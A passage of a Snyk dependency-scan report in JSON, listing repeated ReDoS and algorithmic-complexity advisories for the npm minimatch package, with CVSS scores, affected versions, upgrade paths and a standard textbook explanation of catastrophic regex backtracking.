"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 